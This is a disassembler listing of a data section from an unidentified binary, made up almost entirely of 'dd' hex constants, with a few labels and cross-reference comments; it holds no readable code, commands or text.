		dd 7F11FE53h, 0C0CB210Ah, 72D31E98h, 9B048EB6h,	0EC39693Ch
		dd 0DFB0A0h, 7B2F6E03h,	0F9FF345Ch, 0D7861B00h,	62C96804h
		dd 387D96h, 0C011FD75h,	0CBE19530h, 119B33Fh, 5EBB425Dh
		dd 12EC1AA2h, 8936177Fh, 0A5F802F0h, 0ACE0CCCEh, 7601C811h
		dd 0C4A4C58Fh, 77C84CA9h
		dd 0B4AE5DE4h, 4251200h, 3EB44A64h, 0F7006D75h,	8366F10Eh
		dd 288F5Fh, 6E52F66Ch, 78EC5740h, 23312200h, 0B9FA750Eh
		dd 0F50A0086h, 0FFCF885h, 163904DCh, 0A9450008h, 0F21238EBh
		dd 7EF70901h, 88007DB6h, 0F8678D7h, 1076A100h, 7BC4384Dh
		dd 0E7E400AAh, 0F28343E8h, 0F8002AB5h, 0C865738Bh, 209B731h
		dd 3ED448F4h, 3CC0A1B0h, 0E47D4F3Fh, 0D3643Dh, 5FA7137Fh
		dd 1D176FA2h, 0FD0AD7h,	0C1EA66F0h, 8E0004D5h, 2FCDD9B8h
		dd 76419755h, 0D90260C4h, 155932CBh, 265B9B14h,	73D300B1h
		dd 412F5D11h, 3B1F1681h, 0FBE3007Eh, 0F0CE172Eh, 5F80FA00h
		dd 0C47F614Ch, 2CF40110h, 0A901E0B7h, 361080DEh, 0D67DA5A1h
		dd 27B600DBh, 0CF62A4F7h, 51F66C47h, 755DCD1Dh,	6A7BF4CCh
		dd 0BFF41Ah, 191687A9h,	0DE03BAADh, 0E3810601h,	0FD8BEE96h
		dd 801ABADBh, 4B28C5A8h, 0BD680039h, 5991E799h,	4900C2EBh
		dd 0EAA98F14h, 215E675h, 0CD88F053h, 8880B268h,	4AD61D4Bh
		dd 7334A000h, 9F0F3AF8h, 0A8FE0FD0h, 50E178CBh,	0EFF69309h
		dd 0BCB046A8h, 17B02EF2h, 0E4C27203h, 0DC73A74Ch, 38008A85h
		dd 2A2B3DEAh, 76438F5h,	75465C0Ch, 2203CCEAh, 94ED3FD5h
		dd 0C3EAB028h, 0ACD9006Bh, 502B3B91h, 0BC009015h, 0DBF26CC5h
		dd 0BB0D58h, 0B4A5D165h, 0AC917B8h, 7CE87A00h, 96E2AF02h
		dd 989500A6h, 2C39D365h, 0EDB8A423h, 0B0868C00h, 5F086C27h
		dd 0D070B4h, 0FF428F94h, 0AC177C66h, 56E1E401h,	0F73BAF2Dh
		dd 0F239B88Eh, 601F4B67h, 33F3A615h, 2EC3011Dh,	0C4DF2070h
		dd 0A85A0024h, 207D8E83h, 0F16342Dh, 0A500882Fh, 28485D9Ah
		dd 633E0070h, 85975926h, 1009CF6h, 4733B144h, 584B1E91h
		dd 830E255Fh, 0B220B30Dh, 5AE5299Dh, 7D642500h,	0CA994228h
		dd 162E03B1h
		db 68h,	15h, 97h
aIty		db '"ØI’y',0            ; DATA XREF: ___:00444B64o
					; ___:00444B74o ...
aDblree		db 'dbLRE¥È>',0
		dw 8760h
		dd 1D3FC138h, 0AEF2DC3Bh, 22817800h, 0AF320751h, 59CA00F6h
		dd 0B0FC7214h, 0C20021BBh, 309B0C91h, 0AA7805h,	9CEE55E1h
		dd 1C362B68h, 0E707D800h, 0C1492C40h, 9DCF1DB5h, 0EB3B8078h
		dd 3993B013h, 0CDF00F50h, 0F7DC8600h, 3D696554h, 15FE4D1h
		dd 2BC99747h, 242007FAh, 53005C80h, 0E02F8952h,	0B606CBh
		dd 665BA8ECh, 1392188Fh, 0CD086F01h, 8A75C696h,	3882DFE5h
		dd 6CCCB61Eh, 0D9980040h, 8F24860Fh, 0CDD81C9h,	60E683EDh
		dd 0EB0438h, 0D62D513Ah, 0D394C19Ah, 24CE610h, 9C29EF00h
		dd 0E4F682Fh, 0A563C700h, 5C60FA55h, 53D5002Ah,	0D0BD8461h
		dd 541DD78Dh, 0A649EADEh, 0C0F20h, 0D9AF377Bh, 419C00FAh
		dd 0B70F492Bh, 8CA0B1F1h, 62012824h, 0E1DCBED8h, 5FE1D1BDh
		dd 6955F0h, 3FACCCCDh, 0C14D5334h, 1C2A2562h, 0F8AC6041h
		dd 487379h, 4E042AA1h, 0F326E13h, 29457312h, 0E7126C40h
		dd 57280DCh, 0CC936C8Dh, 20C000BEh, 795822D7h, 190FD54h
		dd 13A0A30Fh, 0AE9287C4h, 1541D1E0h, 47E7954h, 5F97D625h
		dd 9178D067h, 3701BB4Ah, 0E417DEB8h, 7FCC2E51h,	0A05CB89Bh
		dd 75C671ECh, 0C8F24125h, 6B005E2Fh, 99E3BBA9h,	0A35893Dh
		dd 0F906D0E1h, 8620A1h,	9F8F5ECCh, 0F075B0EDh, 29945F12h
		dd 90B9C200h, 3C3D46h, 155A6F41h, 17BFBB79h, 53F6A512h
		dd 9DF0EC60h, 134F1D97h, 0D8058029h, 0B876C581h, 0BC2F5E00h
		dd 7277BB23h, 5CDF0037h, 0F839D42Eh, 1F2429FFh,	0EA1D7C32h
		dd 0EF234A47h, 876C04DFh, 6F855490h, 0E6D6005Dh, 8019A904h
		dd 0B4A06611h, 0B8901E15h, 6D11C960h, 3ECDE045h, 4300C7ADh
		dd 42DDB408h, 0F83F36F5h, 0F4960003h, 0B7B21E21h, 0C00AFA10h
		dd 47A217A2h, 61079E3Bh, 397EB8Ch, 0C94F80CEh, 1F6EFC0h
		dd 9F1ED9AEh, 0D496BF75h, 0F300CEC6h, 0AA7232A2h, 1BC206h
		dd 56615A47h, 4D2E4B39h, 258DA600h, 97EDE975h, 0F69A0045h
		dd 0C541CC2h, 7202F2E1h, 0EA076B29h, 74C048A9h,	0B690EEFh
		dd 4DC08FCBh, 5C566657h, 37FCF3Fh, 6B3A1422h, 80F1CA25h
		dd 8D7EA1F0h, 0B1900BBh, 592AE9D4h, 0C1007366h,	516DACD6h
		dd 1DDC7C88h, 40D0FF4Eh, 6F1F8521h, 0A307F944h,	0F6A0A920h
		dd 0B2112CF0h, 891510AAh, 237500BFh, 5571E776h,	0DB1200FFh
		dd 0F9A50C9Fh, 71F61D8h, 640043B9h, 477C9D6Bh, 0A520027h
		dd 62F1EB9Ah, 2AF25523h, 119F4D00h, 90806E6Ch, 0EED071D1h
		dd 0ACC007Ah, 0E220E34Ah, 8500640Dh, 0D85B72B7h, 7CB2468Ch
		dd 0A46590E9h, 4A14080Ch, 20C7F7A1h, 3A49B90h, 9D5E0C71h
		dd 0F420E3B4h, 52FB8103h, 0F98DFE79h, 2ACCEFD7h, 5F993011h
		dd 0A914D1F8h, 39666E00h, 0C9D47480h, 4F0807DCh, 714BBD4Dh
		dd 0C09D25D2h, 873CC34Eh, 0F4EE1DD8h, 0F21DA80h, 2354829h
		dd 0BA320BDh, 98E88E14h, 0C0007C19h, 1EA2E67Ah,	0BE687Fh
		dd 0F529226Ch, 0A1C70C5Ch, 46000AE8h, 24DC2A15h, 179DE34h
		dd 74DD08BAh, 6043481Eh, 1920B270h, 0E44FE32h, 0E4E0E558h
		dd 0A3CAB20h, 0ED1A3174h, 0C07975FDh, 287CFB11h, 39838E2h
		dd 5F72E701h, 20071C41h, 2B9F3F46h, 85507180h, 7F94A0F0h
		dd 0F3B300B2h, 597D1C2Ah, 0D0E22F03h, 82048538h, 0C90832C7h
		dd 2898486Dh, 71FC60A9h, 76F15958h, 0B1A85000h,	6E407BEBh
		dd 162A12BBh, 0E6A840EEh, 48B9ABCCh, 0FF82BE02h, 40DC561Bh
		dd 6C5FF663h, 0D728C677h, 912A000h, 67C33C3h, 5CE9E086h
		dd 0DF00D759h, 0A26644AEh, 0BE0F3DA5h, 0C650F6F1h, 0BE83506h
		dd 0B615823Bh, 7BC8D100h, 0E029CC6h, 0FDA7EFCEh, 2DAFE031h
		db 0A1h
byte_525345	db 0, 4Ah, 20h		; DATA XREF: ___:004449DCo
					; ___:00444D64o
		dd 388F0804h, 16001474h, 7DA8F8BCh, 1E9CB5Eh, 0C7069FAEh
		dd 30922C88h, 5B0148D4h, 0F4B3BC11h, 0B88E1C29h, 0D00F280Dh
		dd 683A6C00h, 0B60080D2h, 0F9E30E44h, 9031C99Dh, 0A80800D8h
		dd 0EFA521F8h, 0CE006C6Eh, 0D6F5DEB4h, 0C80E18h, 3B9C48A9h
		dd 830D795Ch, 16C2A200h, 812CFFADh, 1D2E2C25h, 0C01934A0h
		dd 299BD1A0h, 73460103h, 3F05E908h, 0C8004868h,	9E7E323h
		dd 0A12E1199h, 0EC967C58h, 0A3B35003h, 2C7AA98Eh, 1406C7C8h
		dd 0BC73FA12h, 92C13200h, 347FE5E9h, 28951B00h,	11AC91DDh
		dd 4FA900DFh, 58E8F820h, 37006088h, 0F2CB6608h,	2D87285h
		dd 714E69AEh, 0CC80E875h, 81FBCF97h, 0D6D83641h, 3E3A0009h
		dd 5A905C52h, 0F2002280h, 6891FBACh, 408D19h, 0C8BC0FB5h
		dd 377C560Bh, 200080F8h, 95DAA90Ch, 2187E2Fh, 3CCE9BA8h
		dd 44009190h, 75253067h, 7D00C69h, 0C518CBBDh, 0B705EE07h
		dd 0F2A0A8FEh, 0F83390h, 848D3A4Dh, 1A6229A5h, 0C30018B0h
		dd 7A0210A8h, 3D1D7EAFh, 4D055A6Ch, 827FF335h, 376097F0h
		dd 0FF5C642Eh, 13CC0E70h, 2285A0CBh, 0ACB31Eh, 0E8B60BBFh
		dd 19C0C431h, 7F60B91Dh, 66562687h, 571F0C10h, 14210104h
		dd 0F49C0332h, 69E82006h, 33A6171Ch, 2FEBC300h,	0BE3172h
		dd 448E088Ah, 546099CEh, 7977407h, 7D209DE8h, 36CC737h
		dd 0E7FFBD1h, 74C04B58h, 0E309B708h, 81BA61FDh,	0C47B2DD8h
		dd 102C862h, 0C8F205Bh,	0F86DE3C0h, 0A13ED607h,	27C0AB9Dh
		dd 2BE24Dh, 0F6CBC016h,	0CA6FD871h, 0C907200h, 0F0D76EC8h
		dd 9F50098Ch, 80DF02h, 208D78CFh, 8B00A5FEh, 0C1D9B932h
		dd 2F26D16h, 0B6BAE71h,	141CC04h, 2D84405Bh, 0FD01CF44h
		dd 0B3E29153h, 3C3035ECh, 48CC0032h, 8E680E97h,	0FD4DAC26h
		dd 5A59002Ch, 2B6E378Ah, 3E6117BCh, 0C600BAB8h,	367E16DEh
		dd 7A11C005h, 20D018FBh, 3CBDB8C0h, 0C308F4h, 65916714h
		dd 0F552DA25h, 5DB00307h, 45E368D0h, 0BF810031h, 81DD7CE9h
		dd 0CE00E635h, 0D91822C2h, 17EF7F6h, 578EFB8h, 393B0816h
		dd 0D79B0084h, 0A064AF71h, 304EFA24h, 8A30F5BBh, 26580660h
		dd 0EFD400F4h, 0CBE7DEBEh, 4F6F09Dh, 0E393AF7Eh, 7621C08Ah
		dd 0E8015A83h, 1B94199Ch, 0C5EC5116h, 0D8116059h, 6085C6EDh
		dd 90805896h, 1FF71BFDh, 584300D8h, 85A4503Ah, 0E73CD3AEh
		dd 1DBD8067h, 0D2E89F24h, 222806F1h, 0E837D5D7h, 50136B30h
		dd 1382EC0h, 0FEACF5C9h, 3137521Eh, 1DD0F78Ch, 90008451h
		dd 0C8F85873h, 4C7CA3A4h, 6C00624Dh, 0CBBAFA71h, 17097754h
		dd 56DBCFFh, 0C880D8B8h, 2A26F87h, 22ECB516h, 0E4A0EAAFh
		dd 1CE84376h, 444958h, 0C4B67377h, 14E325E2h, 8CD2CF8Bh
		dd 88059B00h, 1E2FEDADh, 176FAA03h, 88B228D8h, 7E43E8h
		dd 0B1304EBBh, 0F1264216h, 12D70A39h, 3001D350h, 0D4D6E61Bh
		dd 95E660h, 8F65EF31h, 0A2290D42h, 0DA86EA00h, 0CF24F925h
		dd 397EA16h, 1CD0B7E5h,	4AB1D188h, 7A4303Dh, 0AB777006h
		dd 107AF0h, 32B49444h, 0EE15A89h, 99399700h, 7C48A38Ch
		dd 0C19824CAh, 0B5360868h, 84889692h, 0C7EB0097h, 30A8FA6Ah
		dd 6B001965h, 0EDF8F315h, 0E1BF6908h, 0CDA820h,	0A2476A9Fh
		dd 2CEB9B24h, 9757DE00h, 8ECEC541h, 16FDB88Ch, 9C71A1h
		dd 35E98804h, 67004A84h, 0DFE21BCAh, 0C2D342Ch,	0CCDA2F98h
		dd 5EFA60FAh, 0F51D0F00h, 2EE42CA3h, 99A01F17h,	0F246C74Ch
		dd 506AA77Eh, 1E2C4DEDh, 8A333100h, 2A47BC03h, 0F17E00B3h
		dd 6258506Dh, 4B006066h, 137F3783h, 5392E6h, 9DDE1ACAh
		dd 583395E3h, 23C1848h,	8277EB43h, 0D100C739h, 91850C6Ch
		dd 5BA8803Ch, 3271E70Bh, 205FF202h, 49AE6BF6h, 54EDB0D8h
		dd 0F3D4A441h, 0BEF9BC40h, 2BFE04C7h, 0B104D72Fh, 1B7C01Ch
		dd 93275400h, 0C61A3EB4h, 0EE750F57h, 0B68A65h,	5DEA640Ch
		dd 3A1D2677h, 1B434CE0h, 0F91975FBh, 0F7EC1152h, 239A0024h
		dd 6BB0A307h, 0B700AE46h, 0D9657793h, 3ADCFC0h,	5712E8D4h
		dd 6AF013A9h, 3707A8EDh, 719ECD63h, 0FD78CB30h,	32380330h
		dd 1C60239Bh, 28A3EF8h,	0EEBF6A01h, 10BD2C3Fh, 78C0D3DCh
		dd 4C4C70A5h, 773C8EA3h, 61B32281h, 0D8CA4256h,	0C0B83F7Eh
		dd 9800A34Fh, 191825C2h, 0F3300FF8h, 0D609CC5h,	27EE8A49h
		dd 0FE24C700h, 8F17D4E1h, 167A0FCBh, 4060D8C5h,	0EB90858Dh
		dd 848B39h, 82C38944h, 7865E0Dh, 2E68E399h, 2D2CF331h
		dd 2A2B8AA8h, 0F9662704h, 0C83A241h, 0AF13885Dh, 88930958h
		dd 1820EC5Fh, 0A0F32B6Fh, 8B55BC07h, 2F41DC9Ah,	208F816Bh
		dd 6280D4A7h, 0D1FFC698h, 3F5D2000h, 0B6D6164Eh, 661D00B3h
		dd 6F3DDBCEh, 0C103F325h, 0DF702112h, 0DAAA0D8h, 882014D6h
		dd 0E303385Dh, 62AB13E5h, 0F77A3000h, 8D551D3Bh, 1C0D00EDh
		dd 0AB9F2F4Ah, 4600EE8Eh, 0A7FF7353h, 0DD10EF89h, 0AA240780h
		dd 264AA091h, 39000BCCh, 157FD814h, 5ECA19h, 0A309E3C1h
		dd 0A7227DCEh, 0DF351700h, 0D969398Ah, 634F013Bh, 21D1A21Fh
		dd 8753012h, 330910B8h,	4299DA81h, 4D808E4h, 0E6005655h
		dd 0ABC5FF46h, 1D7CE3Ah, 3085013h, 0F43E1259h, 5AE41952h
		dd 8F541D3Bh, 2014C4F8h, 0CE132247h, 6C04007Eh,	0C80B50D9h
		dd 0E004495h, 7AE19B9h,	1D45CDB8h, 948774h, 0DDF9B608h
		dd 0CE076B0Fh, 0C6F363AAh, 718009C5h, 8A01ADh, 0BA76B6D9h
		dd 0D6034975h, 614CC32Dh, 45E5180h, 0A47CC6C3h,	910F1007h
		dd 3F30C5AEh, 19D075Eh,	68E0C045h, 0D8C6E73Eh, 560C13ACh
		dd 2989E10Fh, 42084482h, 44346644h, 50848FADh, 44722836h
		dd 22842865h, 5A50AA8Ah, 42841614h, 7266081Ch, 3CCE14C4h
		dd 287C5311h, 0DAE31470h, 82067221h, 127B2901h,	7AF91064h
		dd 3C41A689h, 58126BC6h, 887E8810h, 0C9893D0Ah,	274C24EAh
		dd 1488C2B7h, 0D61114BEh, 8A02171h, 0E291C4D0h,	7D671C00h
		dd 0E8EFCFA8h, 4D3B2C00h, 7B731451h, 2D2500DEh,	1BCD47CAh
		dd 0AA00B374h, 303B7D61h, 0A5371Eh, 2C819415h, 865C437Bh
		dd 635DF8F7h, 89198C00h, 9A032441h, 619E032Ch, 0A7E6F6F9h
		dd 0C9B06DF3h, 330037EEh, 0E5120201h, 321D22h, 0A19DB158h
		dd 1E7C9213h, 47205601h, 0A99196CBh, 0B726E20h,	0A565C83Ch
		dd 1A20C30Ch, 326FB200h, 0BB5CB701h, 0BAC7019Eh, 23642759h
		dd 833824D1h, 0BF6F4B0Dh, 1AD82868h, 563D005Fh,	2FFFFBAFh
		dd 7D00F1DCh, 7F461BF6h, 0FA393C66h, 0B8A10796h, 8E061337h
		dd 0E525D201h, 0BCABC48Ch, 60E74C24h, 7DC5D900h, 1223A7h
		dd 61E96E06h, 0A1020B86h, 0EFCD9550h, 81C150Fh,	4E6280A9h
		dd 3E041B1h, 0A3674240h, 2C90A209h, 0F17110E3h,	3EFFDD00h
		dd 0CEE102AAh, 853F0B87h, 0D90C84F7h, 0E20E6341h, 40897DB8h
		dd 0CB73A9Ah, 149F465h,	67E70452h, 41363D5Bh, 0C8F2A9B0h
		dd 0EDB8847Fh, 0BD563800h, 0A5619791h, 13930088h, 356819BFh
		dd 0D202B184h, 0ED1552DCh, 0A0D0AEFAh, 27368C0Fh, 0A9DD00B4h
		dd 79910541h, 1100F7F3h, 871B2D45h, 0DEA0B0h, 8B906BFFh
		dd 63B28822h, 606F7F00h, 11B1A4E0h, 45740767h, 60A15505h
		dd 41E5A3E6h, 0CB5A9500h, 189E2243h, 7BA90070h,	8927178Eh
		dd 3C007E0Eh, 26134B0Fh, 200A56h, 949B3083h, 8584A906h
		dd 2F52B13h, 0C2FB01BBh, 0D0CB0451h, 0D13D59C5h, 46FA3052h
		dd 8DFE08h, 5CAAEF37h
		dd 833064BFh, 9C014F79h, 0E23982F1h, 0E840CF05h, 444611h
		dd 71179F31h, 9A07A8Dh,	0F1F31300h, 6B6104B8h, 5BEC0053h
		dd 0A5308E89h, 970307F0h, 143DB62Fh, 8B59896h, 93910172h
		dd 88DC751Ch, 21B2FC27h, 0DF004CFCh, 8434486Ch,	15CAC6DBh
		dd 0D8AC89B9h, 5DED4200h, 38685C7Ah, 5B13F109h,	0D57C0048h
		dd 73C3B6h, 6EF2252Dh, 7D97F6A6h, 2BA20400h, 0A43E830h
		dd 70E1006Ch, 3D25AF0Fh, 0BE00D3F7h, 0E0CA6729h, 9A8E69DAh
		dd 4C9F02C0h, 2FE560DBh, 6309105Eh, 0B2200347h,	0D310880Dh
		dd 0B5C70750h, 0D037B936h, 155F328Ah, 0D47CF4A0h, 917BCB00h
		dd 62B6BA0Ah, 0CCEE0030h, 64A35574h, 6E008A69h,	0EAFE496Dh
		dd 0F43673h, 14BB6515h,	0EFFAF67Eh, 80AC043Eh, 4A85DD46h
		dd 0FC8FE5Eh, 5744946Dh, 7BCA1B20h, 4E7BFF5Ah, 0D03F0600h
		dd 42FDF678h, 4FAF00C8h, 8B650FC5h, 31043EA6h, 0B19715BBh
		dd 9CBDF880h, 10CC0119h, 0D6B7E14Bh, 5B20E8CFh,	0AD6DFC00h
		dd 15BE77B0h, 0E6651C13h, 70F1403Ah, 20ACBFB4h,	21093C00h
		dd 0DC8EA755h, 0D6060075h, 0C8E3AAD9h, 0A80086B0h, 0D1EA101h
		dd 1525D49h, 0CF26558Eh, 60AED6ACh, 2F000BA8h, 0E08D201h
		dd 7586667Ah, 2A77F2Ah,	8814C075h, 0A4875D89h, 9EE0200Dh
		dd 310C3A05h, 185B0E6Ah, 82C81CA0h, 4E14402Dh, 0B46CC85h
		dd 89009E79h, 0E53D5211h, 8FA174h, 325349B5h, 8E6569E8h
		dd 6B63500h, 0DEA54E48h, 0C1A43DDDh, 1602888Eh,	0E32B1200h
		dd 0B101D3DAh, 9552281Dh, 7C20E9EAh, 8A790017h,	0CEC9AE33h
		dd 0BD037AB8h, 0CD4972E8h, 93E29815h, 37FD060Eh, 0B6FFE555h
		dd 36002BF8h, 574E0B67h, 0C9E38Eh, 0B5B9E9EFh, 93638B32h
		dd 0B064507h, 0FF91FECAh, 0B1E8F9D0h, 487F0298h, 0C539F733h
		dd 0A8E83840h, 0CF2A3B07h, 7E907214h, 7F1CCDFh,	0E3E940DBh
		dd 4D0F0D3h, 0B400AE58h, 4D5A3A0Dh, 39DDBF02h, 0EF84ECC6h
		dd 8064B9C9h, 6BA6540h,	0DEE3470Fh, 1531A3EDh, 1E800CDh
		dd 8F5FF596h, 3E00AEE7h, 8538706Ah, 0B42E3h, 80BB5076h
		dd 3F994A1Dh, 40955F00h, 861F07B6h, 84736Ch, 2278E20Dh
		dd 6ACCC0E1h, 26760C01h, 6D5002B6h, 0B413AC22h,	1D48ACDFh
		dd 0EFC08C7Bh, 0CA3B75C2h, 5E89068h, 0B27EC45Ch, 6B1C8016h
		dd 5B005EECh, 41FCC2Dh,	75F01Eh, 8C535048h, 3D5D6EF1h
		dd 93920818h, 14FD1D11h, 0DC821819h, 1BBAFE00h,	7045674Eh
		dd 0E363CA00h, 0DCC16D81h, 85420030h, 0BBD2DF9Ch, 0A60038E2h
		dd 53BF8A8Bh, 92549B4h,	19C7F6ACh, 8F319400h, 0DAB05022h
		dd 807DC43Fh, 291D5993h, 33812FEh, 1E6E0D6Dh, 7FF0D0B8h
		dd 851661F8h, 5316B63Ch, 9B3E20A8h, 57A13504h, 0B098805Bh
		dd 6B01AC7Ch, 33DF66C7h, 5EF8E5BAh, 6A4302F2h, 0A18AA66Ch
		dd 0E09A4C61h, 0E7FC6149h, 0F1FD100h, 0F392B550h, 41EA00DDh
		dd 0D8724375h, 0D400356Bh, 3BC05C60h, 0BAB0F9h,	310C9091h
		dd 0BD074E8Dh, 0FACB207h, 6E10F5C2h, 5842C586h,	8B00CC0Ah
		dd 46168757h, 7013331Bh, 8C017694h, 60F5BF65h, 3CC66F5h
		dd 0E9E600C3h, 56543A2Dh, 495C75FDh, 0ACA2008Ch, 53C863CBh
		dd 67A800B3h, 1F2C3D4Fh, 1379A438h, 961EB507h, 81EBA6C0h
		dd 0FCD94188h, 22F8F808h, 64397C0Ah, 81008893h,	4DEC8871h
		dd 1873B0h, 0E9228D4h, 0D06A38C8h, 46150900h, 0D9991332h
		dd 5A7600DDh, 2D06926Ch, 0CB0058B0h, 1E322931h,	1553C15Ch
		dd 0F4375004h, 9C3A3F71h, 0CD5D0075h, 0A077DC70h, 0E90097C6h
		dd 4869FC02h, 908F0BE2h, 99A60012h, 0D7278E13h,	0FC07E995h
		dd 40CAF38Ch, 0FAF86F31h, 0A529D4h, 55500656h, 0CB6D17EFh
		dd 0F76ABA00h, 0A31B8C62h, 5F820049h, 0B77DD952h, 92501A98h
		dd 5A000AF0h, 0D78F9E99h, 3F4E20h, 0E3C2C540h, 63F03BCDh
		dd 8914B377h, 8EE5A2h, 298C300Dh, 4E1AADEh, 5C21BCC1h
		dd 2E4C0FEh, 122C35DFh,	0F60E88D6h, 8B2380D5h, 0A1A5AC1Eh
		dd 987098EAh, 0BEE12E7Ch, 0B7A10BACh, 0D9FBB421h, 0F8786048h
		dd 0B400EF7Eh, 0C3EE37DBh, 60DFD453h, 0E2F2B14Ch, 58000942h
		dd 47A688BFh, 3E5A0D28h, 0E9819ACAh, 802A1BABh,	0C42BEDA3h
		dd 132C9874h, 388010AEh, 0D7A48963h, 126AFA15h,	434A4737h
		dd 0D5D5E48h, 0AE20B007h, 8068A396h, 0BBCB670Fh, 3B00A73Ch
		dd 8169E39Ah, 381949h, 4CE756CEh, 2DF2F5D0h, 2EA93E64h
		dd 0A410C8C7h, 322C0Bh,	0C901F423h, 64466198h, 0CFE78900h
		dd 1F598E1Dh, 0E527A07h, 0EE323D67h, 5575B520h,	5B0263B8h
		dd 23400EC1h, 12ACA38Eh, 9C909CC9h, 535E367h, 4A7D3B41h
		dd 0F1F2C008h, 0D53175ACh, 0D65188B2h, 0A0EBD470h, 1E97C3B8h
		dd 0CB87FCh, 65E6348Eh,	0AB00D4B1h, 59CC9296h, 48C104h
		dd 0C94F3926h, 0E5231F0Dh, 0EA34F301h, 0A38FBB99h, 285C5881h
		dd 0F02B0548h, 13959F5h, 0F2A500DCh, 8D3BF611h,	428B27Dh
		dd 0BE5C0A9Eh, 0FEA08014h, 5EB89D3Eh, 0B600A57Fh, 938CFB58h
		dd 1F47B702h, 9FF1A3AEh, 46D58076h, 0FE1DF37Fh,	1603E3F4h
		dd 0E8C53E69h, 1745D378h, 401598D0h, 0A1083BF0h, 0D20025F6h
		dd 39664C58h, 0B8AA4D10h, 153D1C96h, 6DEDC399h,	200BE0Bh
		dd 139210Fh, 280220BAh,	0E29CD895h, 76EA407Ch, 4800574Bh
		dd 7EABB7E6h, 2A680F8Ah, 9E0016A4h, 8650B5C5h, 0D2F67D00h
		dd 1106EA37h, 0F54E018Bh, 0E23A83CAh, 7916EC9Eh, 408A3E00h
		dd 0C789C6D7h, 0FEA500BFh, 7BF8C8FFh, 58005DA6h, 0DF0AAE03h
		dd 0B818D4Eh, 750FA5CCh, 2CA92C00h, 0A63E7308h,	0B14503D2h
		dd 0A0D454C4h, 99928CEAh, 61AA807Ch, 0D9DEB7D2h, 3200E9FEh
		dd 1225AF90h, 39F6060Ch, 4E00D65Fh, 501B4D4Ah, 1C0083BCh
		dd 323AC579h, 8597F9h, 0F8DEE9F4h, 0A54F38AFh, 0DB78020Fh
		dd 90EAE3FBh, 9B3DA80Eh, 287900A2h, 0F06EFE0Fh,	8C016FCCh
		dd 0E47B6354h, 0CF91965h, 610F8h, 9BDD9837h, 0B0C703B2h
		dd 725C6E00h, 7D30134h,	0EC3B17E8h, 69170038h, 0FE358621h
		dd 6F26C804h, 1CA3BBC0h, 89ADB200h, 0A03A351Ch,	9BFC9A0Fh
		dd 0F490E0DAh, 6017CD2h, 0BAD88726h, 0EEE29812h, 0C61D291Eh
		dd 645D0A41h, 983C8023h, 895C8300h, 45990CACh, 0A6031807h
		dd 8CF37E2Fh, 0F87DB05Bh, 4DAB002Ah, 818902BEh,	6B01C6E7h
		dd 29630746h, 1AF8C737h, 66D00E1Bh, 96C92DD8h, 0D1738C00h
		dd 6F07E452h, 0CE43492Fh, 53F146A0h, 9BAF0159h,	694D26F6h
		dd 9FA6E4EDh, 137C563Eh, 0DC80E46Fh, 3CEA8CC5h,	5A80FA4Ch
		dd 3074AAC4h, 0E93F898Bh, 0D1CC83CFh, 0F09A7127h, 2F65BFh
		dd 660558D0h, 4B189D7h,	79121F7Bh, 68025698h, 4E8497Ch
		dd 0E42F20DFh, 5C9084h,	11B50F93h, 0C8FC1D2Bh, 3272C000h
		dd 109805E7h, 0A7930067h, 0F0AB8C83h, 0DD000776h, 0BA9D3DF6h
		dd 0F5E243Fh, 0E39751F8h, 0F87A861h, 6EACF01Ch,	48E9D500h
		dd 0D62FCA3Dh, 0C0DF138Ah, 0BE0000BAh, 79BBF505h, 0BDC8FD09h
		dd 0FBA40325h, 7D10007Ah, 623C9463h, 3F078983h,	0DC55AE4Ah
		dd 2F2CF7F0h, 0BAFA2Ah,	821221B9h, 0DE6E0706h, 0ADE8B80Ah
		dd 3800B82Dh, 9AC1C8Ch,	37CE0063h, 6DBE6427h, 4200888Eh
		dd 83A6C64Bh, 0A47CD18h, 7FCEE521h, 58EC8090h, 2DE1FDADh
		dd 2AEBD05h, 0AC81318Eh, 0A03068F2h, 34281D7Fh,	0E0C2803Ah
		dd 0DE96E3FDh, 52417400h, 0BD60BC84h, 0F435003Fh, 7DD82186h
		dd 4E06C52Dh, 0A9F226FFh
		dd 4B0F0B29h, 7E80B8C2h, 0E028E4Ch, 6C12E401h, 28E86D97h
		dd 583DB7F8h, 0CD00021Dh, 51E584E3h, 0FE27E9AEh, 48180065h
		dd 9E054D1h, 0DC66FDBh,	0A55ACE0h, 0F828C3BFh, 1CDDB259h
		dd 40692AAAh, 0CCFCAC31h, 5B00074Fh, 0C5DB4338h, 3F0393h
		dd 0E135A563h, 1317B06Ch, 8A234B03h, 0EC25C8h, 0ACF6EF58h
		dd 0F4A444A2h, 10F31300h, 3648A6E7h, 20860289h,	4B37F888h
		dd 0B3976560h, 0DFA17103h, 0D0D1A780h, 1F619C87h, 40B4A5E3h
		dd 0E1CED572h, 0FD1546E5h, 0C060B3h, 0CFA35837h, 0B21F7BD3h
		dd 82D70358h, 255D2A1Dh, 4A1547B0h, 7D896B39h, 42336300h
		dd 12FD32Eh, 777B0088h,	3DADA58Ch, 0DE001722h, 7CAC54FFh
		dd 0E610D0h, 4EA269EFh,	21B423D7h, 0C2685307h, 2040223Fh
		dd 385A19h, 0DD9C4F32h,	42E58F1Ah, 0CE120B05h, 8403DB0Eh
		dd 8856FC2Eh, 5EBEB1h, 0A9F83B6Ch, 73D1292Ah, 6582E002h
		dd 802DD91Fh, 57944286h, 5A4E0514h, 9360D59Fh, 580C690h
		dd 24005056h, 0C83CC997h, 18CDDDh, 530CFAA0h, 0B8B767B4h
		dd 3DFE3900h, 33DBA760h, 73F4E7h, 75F51C96h, 62FA27Fh
		dd 28D17604h, 0C913EDCh, 9170E6E3h, 5432EC59h, 578A416h
		dd 1A0D1510h, 0A370D025h, 40615E8Eh, 76DA6E21h,	0E654CE0h
		dd 3844DE6Bh, 876F00DDh, 8134A8Fh, 0E11E61C0h, 8284DE2h
		dd 0EEDFB921h, 0F83AD002h, 0AC744184h, 1C145C3Ch, 3D00B617h
		dd 0E6E22ABEh, 8B1CA686h, 0A300E5F6h, 96424A10h, 325E0E22h
		dd 79A0252Bh, 26E643F4h, 4F0E1A75h, 4105CE37h, 0FF761FD5h
		dd 0BD8DF840h, 235D017Ah, 84EC71B2h, 386630A7h,	8300807Ch
		dd 8DC421D5h, 573F92h, 0F5102742h, 484E7954h, 0F30033EAh
		dd 25FCDC77h, 98E99491h, 8C8D00A3h, 0EE63A83Bh,	67000E0Ah
		dd 2A4475F1h, 50601A2h,	0B7AD4C08h, 0EB3480B6h,	0BA03A772h
		dd 14F32A6Dh, 37318066h, 2BC90047h, 818BC2E1h, 36FCCA90h
		dd 40FADFECh, 3C2F6301h, 0E760986Fh, 0EC5C2F8h,	377152D4h
